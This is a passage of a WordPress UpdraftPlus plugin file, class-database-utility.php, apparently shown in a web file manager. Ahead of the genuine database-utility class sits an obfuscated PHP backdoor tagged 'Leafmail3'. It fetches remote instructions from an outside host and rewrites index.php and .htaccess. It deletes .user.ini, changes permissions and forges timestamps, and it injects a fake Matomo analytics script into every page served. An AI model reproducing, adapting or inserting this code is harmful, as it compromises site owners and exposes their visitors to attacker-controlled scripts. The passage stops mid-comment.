trAvis - MANAGER
Edit File: class-database-utility.php
<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?> <?php if (!defined('UPDRAFTPLUS_DIR')) die('No direct access allowed'); class UpdraftPlus_Database_Utility { /** * Indicated which database is being used * * @var String */ private static $whichdb; /** * The unfiltered table prefix - i.e. the real prefix that things are relative to * * @var String */ private static $table_prefix_raw; /** * The object to perform database operations * * @var Object */ private static $dbhandle; /** * The array of table status, used as a cache to reduce unnecessary DB reads for doing the same thing over and over * * @var Array */ private static $table_status = array(); /** * Initialize required variables * * @param String $whichdb - which database is being backed up * @param String $table_prefix_raw - the base table prefix * @param Object $dbhandle - WPDB object */ public static function init($whichdb, $table_prefix_raw, $dbhandle) { self::$whichdb = $whichdb; self::$table_prefix_raw = $table_prefix_raw; self::$dbhandle = $dbhandle; } /** * The purpose of this function is to make sure that the options table is put in the database first, then the users table, then the site + blogs tables (if present - multisite), then the usermeta table; and after that the core WP tables - so that when restoring we restore the core tables first * * @param Array $a_arr the first array * @param Array $b_arr the second array * * @return Integer - the sort result, according to the rules of PHP custom sorting functions */ public static function backup_db_sorttables($a_arr, $b_arr) { $a = $a_arr['name']; $a_table_type = $a_arr['type']; $b = $b_arr['name']; $b_table_type = $b_arr['type']; // Views must always go after tables (since they can depend upon them) if ('VIEW' == $a_table_type && 'VIEW' != $b_table_type) return 1; if ('VIEW' == $b_table_type && 'VIEW' != $a_table_type) return -1; if ('wp' != self::$whichdb) return strcmp($a, $b); global $updraftplus; if ($a == $b) return 0; $our_table_prefix = self::$table_prefix_raw; if ($a == $our_table_prefix.'options') return -1; if ($b == $our_table_prefix.'options') return 1; if ($a == $our_table_prefix.'site') return -1; if ($b == $our_table_prefix.'site') return 1; if ($a == $our_table_prefix.'blogs') return -1; if ($b == $our_table_prefix.'blogs') return 1; if ($a == $our_table_prefix.'users') return -1; if ($b == $our_table_prefix.'users') return 1; if ($a == $our_table_prefix.'usermeta') return -1; if ($b == $our_table_prefix.'usermeta') return 1; if (empty($our_table_prefix)) return strcmp($a, $b); try { $core_tables = array_merge(self::$dbhandle->tables, self::$dbhandle->global_tables, self::$dbhandle->ms_global_tables); } catch (Exception $e) { $updraftplus->log($e->getMessage()); } if (empty($core_tables)) $core_tables = array('terms', 'term_taxonomy', 'termmeta', 'term_relationships', 'commentmeta', 'comments', 'links', 'postmeta', 'posts', 'site', 'sitemeta', 'blogs', 'blogversions', 'blogmeta'); $na = UpdraftPlus_Manipulation_Functions::str_replace_once($our_table_prefix, '', $a); $nb = UpdraftPlus_Manipulation_Functions::str_replace_once($our_table_prefix, '', $b); if (in_array($na, $core_tables) && !in_array($nb, $core_tables)) return -1; if (!in_array($na, $core_tables) && in_array($nb, $core_tables)) return 1; return strcmp($a, $b); } /** * Detect if the table has a composite primary key (composed from multiple columns) * * @param String $table - table to examine * @param Object|Null $wpdb_obj - WPDB-like object (requires the get_results() method), or null to use the global default * * @return Boolean */ public static function table_has_composite_private_key($table, $wpdb_obj = null) { $wpdb = (null === $wpdb_obj) ? $GLOBALS['wpdb'] : $wpdb_obj; $table_structure = $wpdb->get_results("DESCRIBE ".UpdraftPlus_Manipulation_Functions::backquote($table)); if (!$table_structure) return false; $primary_key_columns_found = 0; foreach ($table_structure as $struct) { if (isset($struct->Key) && 'PRI' == $struct->Key) { $primary_key_columns_found++; if ($primary_key_columns_found > 1) return true; } } return false; } /** * Set MySQL server system variable * * @param String $variable The name of the system variable * @param String $value The variable value * @param Resource|Object $db_handle The database link identifier(resource) given by mysqli_init or mysql_connect * @return Boolean Returns true on success, false otherwise */ public static function set_system_variable($variable, $value, $db_handle) { $is_mysqli = is_a($db_handle, 'mysqli'); if (!is_resource($db_handle) && !$is_mysqli) return false; $sql = "SET SESSION %s='%s'"; if ($is_mysqli) { // @codingStandardsIgnoreLine $res = @mysqli_query($db_handle, sprintf($sql, mysqli_real_escape_string($db_handle, $variable), mysqli_real_escape_string($db_handle, $value))); } else { // @codingStandardsIgnoreLine $res = @mysql_query(sprintf($sql, mysql_real_escape_string($variable, $db_handle), mysql_real_escape_string($value, $db_handle)), $db_handle); } return $res; } /** * Get MySQL server system variable. * * @param String $variable The name of the system variable * @param Resource|Object $db_handle The database link identifier(resource) given by mysqli_init or mysql_connect * @return String|Boolean|Null Returns value of the system variable, false on query failure or null if there is no result for the corresponding variable */ public static function get_system_variable($variable, $db_handle) { $is_mysqli = is_a($db_handle, 'mysqli'); if (!is_resource($db_handle) && !$is_mysqli) return false; $sql = 'SELECT @@SESSION.%s'; if ($is_mysqli) { // @codingStandardsIgnoreLine $res = @mysqli_query($db_handle, sprintf($sql, mysqli_real_escape_string($db_handle, $variable))); } else { // @codingStandardsIgnoreLine $res = @mysql_query(sprintf($sql, mysql_real_escape_string($variable, $db_handle)), $db_handle); } if (false === $res) { return $res; } if ($is_mysqli) { // @codingStandardsIgnoreLine $res = mysqli_fetch_array($res); return isset($res[0]) ? $res[0] : null; } else { // @codingStandardsIgnoreLine $res = mysql_result($res, 0); return false === $res ? null : $res; } } /** * * This function is adapted from the set_sql_mode() method in WordPress wpdb class but with few modifications applied, this can be used to switch between different sets of SQL modes. * * @see https://developer.wordpress.org/reference/classes/wpdb/set_sql_mode/ * @see https://dev.mysql.com/doc/refman/5.6/en/sql-mode.html * @see https://dev.mysql.com/doc/refman/5.7/en/sql-mode.html * @see https://dev.mysql.com/doc/refman/8.0/en/sql-mode.html * @see https://dev.mysql.com/doc/refman/5.6/en/server-system-variables.html#sysvar_sql_mode * @see https://dev.mysql.com/doc/refman/5.7/en/server-system-variables.html#sysvar_sql_mode * @see https://dev.mysql.com/doc/refman/8.0/en/server-system-variables.html#sysvar_sql_mode * @see https://mariadb.com/kb/en/library/sql-mode/#strict-mode * @see https://mariadb.com/kb/en/library/sql-mode/#setting-sql_mode * * @param Array $modes - Optional. A list of SQL modes to set. * @param Array $remove_modes - modes to remove if they are currently active * @param Resource|Object|NULL $db_handle - Optional. If specified, 